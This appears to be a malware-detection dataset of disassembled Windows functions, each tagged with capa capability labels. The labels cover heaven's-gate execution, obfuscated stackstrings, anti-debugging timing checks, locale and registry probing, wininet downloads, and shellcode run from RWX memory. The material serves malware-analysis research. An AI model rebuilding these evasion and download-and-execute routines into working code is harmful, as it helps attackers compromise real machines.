joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004320
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1009a1a0]
sub esp, 0x1b4
mov edx, dword [0x1009a1a4]
push ebx
push esi
push edi
test eax, eax
jne 0x10004354
test edx, edx
jne 0x10004354
mov ecx, str.ntdll.dll
call fcn.10003fd0
mov dword [0x1009a1a0], eax
mov dword [0x1009a1a4], edx
mov dword [ebp - 0x14], edx
mov ebx, eax
test eax, eax
jne 0x1000436c
test edx, edx
jne 0x1000436c
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], ecx
test ecx, ecx
je 0x100043c8
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
push 0x33
call 0x10004386
add dword [esp], 5
retf
mov eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x1b0]
mov esi, dword [ebp - 0x14]
cdq
add eax, ebx
mov dword [ebp - 4], ecx
adc edx, esi
test ecx, ecx
je 0x1000443a
test eax, eax
jne 0x100043e8
test edx, edx
je 0x1000443a
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
push 0x33
call 0x100043f5
add dword [esp], 5
retf
mov eax, dword [ebp - 0x128]
test eax, eax
je 0x10004361
xor ecx, ecx
lea edx, [ebp - 0x4c]
add eax, ebx
mov dword [ebp - 4], edx
adc ecx, esi
test edx, edx
je 0x100044b2
test eax, eax
jne 0x10004460
test ecx, ecx
je 0x100044b2
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
push 0x33
call 0x1000446d
add dword [esp], 5
retf
mov eax, dword [ebp - 0x38]
call fcn.100abdf7
fadd st(1)
loopne 0x100044c0
push eax
push 0
call edi
add bh, bh
xlatb
push eax
push ecx
call fcn.100a5b7e
mov dword [ebp - 0x24], eax
test eax, eax
je 0x10004361
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x30]
lea edx, [eax*4]
xor eax, eax
add ecx, ebx
adc eax, esi
push eax
push ecx
mov ecx, dword [ebp - 0x24]
call fcn.10003ec0
mov eax, dword [ebp - 0x38]
add esp, 8
add eax, eax
push eax
push 0
call edi
push eax
call fcn.100a63d5
fimul dword [ecx - 0x3f7a0bbb]
jne 0x1000451d
mov esi, dword [0x100130a8]
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
jmp 0x10004576
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x28]
lea edx, [eax + eax]
xor eax, eax
add ecx, ebx
adc eax, esi
push eax
push ecx
mov ecx, dword [ebp - 0xc]
call fcn.10003ec0
mov eax, dword [ebp - 0x34]
add esp, 8
shl eax, 2
push eax
push 0
call edi
push eax
call fcn.100a86d2
jnp 0x100044d5
inc ebp
invalid
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10004585
push eax
push 0
call edi
push eax
call esi
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100a412a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pushal
push 0xff215441
jmp 0x100b6c08
mov dword [esp + 0x3c], 0x100b54f9
jmp 0x100b1364
mov dword [esp + 0x3c], 0x400
push esi
lea esp, [esp + 0x40]
jnp 0x100b4bde
jb 0x100abdd5
push eax
call fcn.100a653f
mov bh, ch
mov ebx, ebx
call fcn.100b0a06
push eax
jmp 0x1009dafb
pop eax
mov ah, byte [esp + 0x10]
mov dword [esp + 0x1c], ecx
movzx eax, dl
movzx ax, cl
not ch
lea eax, [ebp - 0x49c]
bswap cx
pushal
call fcn.100aac1e
jmp 0x100a02b4
jmp 0x100a6f23
mov dword [esp + 0x40], esi
mov byte [esp + 4], dh
push dword [esp + 0x40]
ret 0x44
pushfd
pushfd
jmp 0x100b0323
pushal
mov word [esp + 4], bx
mov byte [esp + 4], bh
mov dword [esp + 0x1c], eax
call fcn.100b98ed
mov dword [ebp - 0x4f0], 0x3d646963
push dword [esp + 4]
mov dword [ebp - 0x4ec], 0x78383025
pushfd
mov word [esp + 0xc], sp
push ebx
mov dword [ebp - 0x4e8], 0x61747326
pushfd
call fcn.100a542c
bsr ecx, esi
xadd cx, di
inc al
sal al, cl
mov ecx, dword [ebp - 0x4a8]
sub ah, 0x97
bt ax, 1
lea edi, [ecx + 0x28]
aas
movzx eax, cl
clc
add edi, dword [ebp - 0x490]
seta al
pushal
bsf eax, ebx
sub esi, esi
push esi
jmp 0x100ab660

Function at 0x100a438d
Capabilities:
Execute anti-debugging instructions

Disassembly:
pushfd
lea esp, [esp + 0x50]
call fcn.10001a50
setl al
xchg si, dx
mov esi, dword [0x1009a164]
rcr cx, 0xf
push 0x2bd0b9
not dx
setae dh
imul ecx, dword [esi], 0x343fd
rdtsc
aam 0x8d
sar eax, 0x15
add ecx, 0x269ec3
cdq
imul eax, ecx, 0x343fd
test dh, ch
sbb dl, ch
and ecx, 0xffff0000
adc dh, 0xbc
neg dh
add eax, 0x269ec3
rcl dh, 1
btc dx, 8
rcl dl, 6
mov dword [esi], eax
btr dx, si
shr eax, 0x10
btr dx, bx
lea edx, [ecx - 0x5c04d3c7]
or ecx, eax
bswap dx
jmp 0x100b2e38

Function at 0x100a8a48
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov dword [ebp - 0x4d0], 0x68243f52
mov dword [esp], esp
push dword [esp + 8]
push dword [esp]
pushfd
mov byte [ebp - 0x4cc], 0
mov word [esp], bp
mov dword [esp + 8], esi
pushfd
mov byte [ebp - 0x408], 0
lea esp, [esp + 0x40]
jle 0x100acf5c
push ebp
mov byte [esp], ah
lea esp, [esp + 4]
call fcn.10001030
push 0x970119bf
call fcn.100aec60
mov byte [esp], 0x3e
mov dword [esp + 0x4c], edx
movsx dx, bl
mov edx, 0x1000fe33
jmp 0x100b7328
mov dword [esp], eax
mov dword [esp + 0x20], esi
pushal
push ebx
pushfd
lea esp, [esp + 0x48]
call fcn.1000b0d0
bswap cx
push 0xa2a9bf87
setae dh
lea edx, [ebp - 0x4dc]
bswap ecx
lea ecx, [ebx*8 - 0x6dd69811]
not ch
mov dword [ebp - 0x4dc], 0x35247d51
mov ch, 0xdf
lea ecx, [ebp - 0x4c8]
pushal
lea esp, [esp + 0x24]
jle 0x100b098b
mov dword [ebp - 0x4d8], 0x28686e37
call fcn.100b702a
call fcn.100b0414
nop
pushal
pushal
xchg dword [esp + 0x40], ebx
call fcn.100b23a6
push ecx
mov byte [esp], 0x2f
mov dword [ebp - 0x4d8], 0x28686e37
pushal
mov dword [ebp - 0x4d4], 0x2c452367
push 0x312a3e29
push 0x80f70fac
jmp 0x1009def2
call fcn.100a8e88
Function at 0x100ae260
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x100b529b
mov byte [esp], 0x91
pushfd
mov dword [ebp - 0x4d4], 0x2c452367
mov byte [esp], 0x5b
pushfd
mov dword [ebp - 0x4d0], 0x68243f52
pushfd
mov byte [ebp - 0x4cc], 0
pushfd
mov byte [esp + 4], 0x54
mov byte [ebp - 0x408], 0
jmp 0x100b1b90

Function at 0x100b03a6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x100a38c8
pushfd
mov dword [esp], 0
pushfd
pop eax
rdtsc
movzx ax, cl
push 0
setns dl
mov ah, dl
lea eax, [eax*2 - 0x2190abd]
push 0
xchg dl, al
pushfd
cdq
pushfd
mov eax, dword [ebp - 0x5c8]
not dh
mov dword [esp + 4], 0
not dh
bswap edx
pushal
push eax
mov dword [esp + 0x24], 0
not dx
jmp 0x100b9012
push 0xe825f8d4
push dword [esp]
mov dword [ebp - 0x5f4], 0x7243744e
push 0x4a2e97f8
pushfd
mov dword [ebp - 0x5f0], 0x65746165
mov byte [esp], 0xd1
push dword [esp]
pushfd
mov dword [ebp - 0x5ec], 0x65726854
push 0x61f2ba62
jmp 0x100aebc3
mov byte [esp + 4], 0x3c
mov byte [ebp - 0x26], 0
call fcn.100ad96e
call fcn.100a7f09
pushal
pushfd
mov dword [ebp - 0x5e8], 0x78456461
mov byte [esp + 0x14], al
call fcn.100a5101
push esp
mov dword [ebp - 0x2c], 0x6e203e20
pushfd
jmp 0x1009d51b
mov dword [ebp - 0x5c8], eax
aad 0x25
shld ax, dx, 6
clc
mov eax, esi
bt sp, 4
or eax, edi
pushal
lea esp, [esp + 0x28]
movlpd qword [ebp - 0x580], xmm0
push 0x6cdc6283
pushfd
lea esp, [esp + 8]
jne 0x1009f9b3
push 0xc1a4ef21
pushfd
mov byte [ebp - 0x5e4], al
bswap ax
pushfd
lea eax, [ebp - 0x5f4]
pushfd
mov dword [esp + 0xc], eax
jmp 0x100b2834
lea esp, [esp + 0xc]
jo 0x100a1c83
mov dword [ebp - 0x5f4], 0x7243744e
push 0x300bba4b
call fcn.100b509b
mov dword [esp + 0x20], 0
pushfd
movzx dx, al
bswap dx
setnp dl
mov dword [esp + 0x20], 0
bswap dx
bswap dx
mov dword [esp + 0x1c], 0
movsx dx, cl
mov dword [esp + 0x18], 0
movzx dx, cl
call fcn.100b113c
movsx esi, cl
call fcn.1009ea95
mov dword [esp + 0x38], 0x100aa879
push 0x838f91ba
jmp 0x100ab76d

Function at 0x100b1ca8
Capabilities:
Execute anti-debugging instructions

Disassembly:
pushal
pushfd
mov dword [ebp - 0x474], edi
push dword [esp]
push esi
lea esp, [esp + 0x2c]
je 0x1009f2dd
push 0x4bf0e962
push 0x8a273ebc
cdq
mov dword [esp + 4], 0
bswap dx
pushal
cdq
movsx ax, cl
mov dword [esp + 0x20], 0
movzx ax, cl
mov dword [esp + 0x1c], 0
rdtsc
lahf
rdtsc
lea esp, [esp + 0x1c]
jg 0x100ad2dc
mov eax, dword [ebp - 0x5c8]
lea edx, [ecx + 0x59ef2c0e]
movsx edx, dl
push 0
pushal
pushal
mov dword [esp + 0x3c], 0
call fcn.100a30e2
jmp 0x100a629b
xchg dh, al
setae al
mov eax, dword [ebp - 0x5c8]
push 0xc83c9ce2
movsx dx, al
jmp 0x100b3ae9
lea esp, [esp + 0x30]
jb 0x100aac9d
mov dword [ebp - 0x474], edi
jmp 0x100b8ee3
mov dword [esp], 0
not dh
movsx dx, al
push 0
pushfd
movzx dx, dl
push eax
mov dword [esp + 4], 0
pushfd
lea edx, [ebx*4 - 0x472a892d]
mov dword [esp + 4], 0
sete dh
mov dword [esp], 0
push ecx
mov dword [esp], 0
jmp 0x100b3de7

Function at 0x100b98ed
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [esp + 0xc], ah
jmp 0x100aa47f
Function at 0x405cfc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x41f04c], 0
je 0x405d63
cmp word [0x41f338], 0xd7b2
jne 0x405d25
cmp dword [0x41f340], 0
jbe 0x405d25
mov eax, 0x41f334
call dword [0x41f350]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x405d90
call fcn.00406538
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x41d022], 0
jne 0x405d7f
push 0
push 0x41d9b2
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x407630
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x407795
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00405f7c
cmp si, word [0x41d9f0]
jb 0x4076c8
cmp si, word [0x41dbf0]
ja 0x4076c8
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x4076c8
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x41d9f0]
jae 0x4076a2
mov edi, ebx
dec edi
jmp 0x4076c3
cmp si, word [ebx*8 + 0x41d9f0]
jbe 0x4076b2
inc ebx
mov dword [ebp - 8], ebx
jmp 0x4076c3
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x41d9f4]
call fcn.00407540
jmp 0x4076c8
cmp edi, dword [ebp - 8]
jae 0x40768c
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x407777
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x407777
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.004066d0
push dword [ebp - 0x160]
push 0x4077b0
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.004066d0
push dword [ebp - 0x164]
push 0x4077c0
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.004066d0
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.00406888
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40779c
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00405fdc
ret
Function at 0x407948
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x407a4b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x421b7c
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x421b94]
jne 0x407994
mov eax, esi
mov edx, 0x421b96
mov ecx, 0x55
call fcn.004066d0
push 0x421b7c
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x407a35
push 0x421b7c
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
call fcn.00405f7c
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x407a03
cmp byte [0x421b78], 0
je 0x4079c8
mov edx, esi
mov eax, ebx
call fcn.0040782c
jmp 0x407a03
mov edx, esi
mov eax, ebx
call fcn.00407630
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x407a03
cmp dword [esi], 0
je 0x4079ec
mov eax, esi
mov edx, 0x407a64
call fcn.004067a8
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.00407630
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.004067a8
push 0x421b7c
call sub.kernel32.dll_EnterCriticalSection
mov word [0x421b94], bx
push 0xaa
mov eax, dword [esi]
call fcn.0040663c
push eax
push 0x421b96
call sub.kernel32.dll_lstrcpynW
push 0x421b7c
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407a52
lea eax, [ebp - 4]
call fcn.00405f7c
ret
Function at 0x407c80
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406060
xor eax, eax
push ebp
push 0x407ea5
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x407cc0
push 0x105
lea eax, [ebp - 0x21a]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
jmp 0x407cda
push 0x105
mov eax, dword [ebp - 4]
call fcn.0040663c
push eax
lea eax, [ebp - 0x21a]
push eax
call sub.kernel32.dll_lstrcpynW
cmp word [ebp - 0x21a], 0
je 0x407e8f
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x407eb4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x407da9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x407eb4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x407da9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x407ef0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x407da9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x407ef0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x407da9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x407f24
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x407da9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x407f58
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x407e8f
xor eax, eax
push ebp
push 0x407e88
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.00407a8c
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x407e18
mov eax, dword [ebp - 0x10]
call fcn.00403c14
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00406694
jmp 0x407e63
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0x407f98
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x407e63
mov eax, dword [ebp - 0x10]
call fcn.00403c14
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push 0x407f98
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00406694
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e8f
cmp dword [ebp - 8], 0
je 0x407e7e
mov eax, dword [ebp - 8]
call fcn.00403c30
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407eac
lea eax, [ebp - 4]
call fcn.00405f7c
ret
Function at 0x408188
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406060
xor eax, eax
push ebp
push 0x408248
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 0xc]
push eax
push 3
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx eax, ax
push eax
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.004066d0
mov ecx, dword [ebp - 0x10]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00406800
mov eax, dword [ebx]
call fcn.00408050
test al, al
jne 0x408225
mov word [ebp - 8], 0
lea eax, [ebp - 0x14]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.004066d0
mov ecx, dword [ebp - 0x14]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00406800
mov eax, dword [ebx]
call fcn.00408050
test al, al
jne 0x408225
mov eax, ebx
call fcn.00405f7c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40824f
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00405fdc
lea eax, [ebp - 4]
call fcn.00405f7c
ret

Function at 0x4088cc
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x416ddc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x416e15
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.004060d4
jmp 0x416e1e
mov eax, ebx
mov edx, esi
call fcn.00406250
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x416e28
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x416e4a
movzx eax, word [esp]
jmp 0x416e4c
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x4191d0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.0040634c
mov ebp, eax
push ebp
push 0
push 0
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.004088ac
mov edi, eax
cmp edi, 0x104
jbe 0x419177
mov eax, edi
add eax, eax
call fcn.00403c14
mov esi, eax
jmp 0x419179
mov esi, esp
push ebp
push esi
push edi
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.004088ac
mov eax, esi
push eax
call sub.user32.dll_CharUpperW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x4191b4
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x41919e
mov eax, esp
cmp esi, eax
je 0x4191c1
mov eax, esi
call fcn.00403c30
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x4191fc
cmp bl, 0
je 0x4191f8
cmp bl, 0x41
jl 0x4191f3
cmp bl, 0x5a
jg 0x4191f3
or bl, 0x20
xor al, bl
inc esi
jmp 0x4191d7
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x419138

Function at 0x4193f0
Capabilities:
Get geographical location

Disassembly:
push ebx
add esp, 0xfffff800
mov ebx, ecx
mov word [esp], 0
push 0x400
lea ecx, [esp + 4]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
mov eax, ebx
mov edx, esp
mov ecx, 0x400
call fcn.004066d0
add esp, 0x800
pop ebx
ret
Function at 0x419ccc
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf4
push ebx
push esi
push edi
mov ebx, edx
mov edi, eax
lea esi, [ebp - 0xc]
push 0
mov eax, ebx
mov ecx, 1
mov edx, dword [0x412b2c]
call fcn.004070bc
add esp, 4
push 0
push 0
push 0
push 1
push 0
call sub.wininet.dll_InternetOpenW
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x419d24
mov ecx, 0x419e60
mov dl, 1
mov eax, dword [0x413028]
call fcn.00417c64
call fcn.004057b0
xor eax, eax
push ebp
push 0x419e44
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80000000
push 0
push 0
mov eax, edi
call fcn.0040663c
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wininet.dll_InternetOpenUrlW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x419d6d
mov ecx, 0x419e80
mov dl, 1
mov eax, dword [0x413028]
call fcn.00417c64
call fcn.004057b0
xor eax, eax
push ebp
push 0x419e26
push dword fs:[eax]
mov dword fs:[eax], esp
push esi
push 0x400
lea eax, [ebp - 0x40c]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetReadFile
test eax, eax
jne 0x419dab
mov ecx, 0x419ea0
mov dl, 1
mov eax, dword [0x413028]
call fcn.00417c64
call fcn.004057b0
cmp dword [esi], 0
jbe 0x419e06
mov eax, dword [ebx]
call fcn.00406f08
cdq
push edx
push eax
mov eax, dword [esi]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, ebx
mov ecx, 1
mov edx, dword [0x412b2c]
call fcn.004070bc
add esp, 4
mov eax, dword [ebx]
call fcn.00406f08
cdq
push edx
push eax
mov eax, dword [esi]
xor edx, edx
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
mov edx, dword [ebx]
add edx, eax
lea eax, [ebp - 0x40c]
mov ecx, dword [esi]
call fcn.00403db8
cmp dword [esi], 0
jne 0x419d7b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419e2d
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret

Function at 0x419eb8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov ebx, eax
mov byte [ebp - 1], 0
push 0x40
push 0x1000
mov eax, ebx
call fcn.00406f08
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x419f33
xor edx, edx
push ebp
push 0x419f2c
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, ebx
call fcn.00406f08
push eax
mov eax, ebx
mov edx, dword [ebp - 8]
pop ecx
call fcn.00403db8
mov eax, dword [ebp - 8]
call eax
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x419f33
push 0x8000
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_VirtualFree_1
ret
movzx eax, byte [ebp - 1]
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x1003292f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x10023bc9
call fcn.10022973
mov eax, dword [ebp + 0x10]
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x41c], eax
xor eax, eax
mov dword [ebp - 0x428], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x418], eax
push 0x60
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.100339be
mov edi, eax
mov dword [ebp - 0x420], edi
test edi, edi
jne 0x100329a4
push 2
mov ecx, esi
call fcn.100339be
mov edi, eax
mov dword [ebp - 0x420], eax
test edi, edi
jne 0x100329a4
call fcn.10031dc9
mov esi, eax
jmp 0x10032a78
push dword [ebp - 0x41c]
push ebx
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x100329c2
call fcn.10031dc9
jmp 0x10032a6b
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x41c], ebx
test ebx, ebx
je 0x100329b8
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x424], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x100329f4
mov esi, 0x8007000e
jmp 0x10032a6d
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.100832cd
jmp 0x10032a1e
mov dword [ebp - 4], 1
cmp dword [ebp - 0x418], 0
je 0x100329ed
push esi
push dword [ebp - 0x418]
push esi
push ebx
push 0
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x100329b8
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x430]
push dword [ebp - 0x418]
call fcn.100832cd
mov esi, eax
test edi, edi
je 0x10032a78
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10032a91
lea ecx, [ebp - 0x418]
call fcn.10032083
lea ecx, [ebp - 0x428]
call fcn.1003150e
mov eax, esi
call fcn.10022963
ret 0x10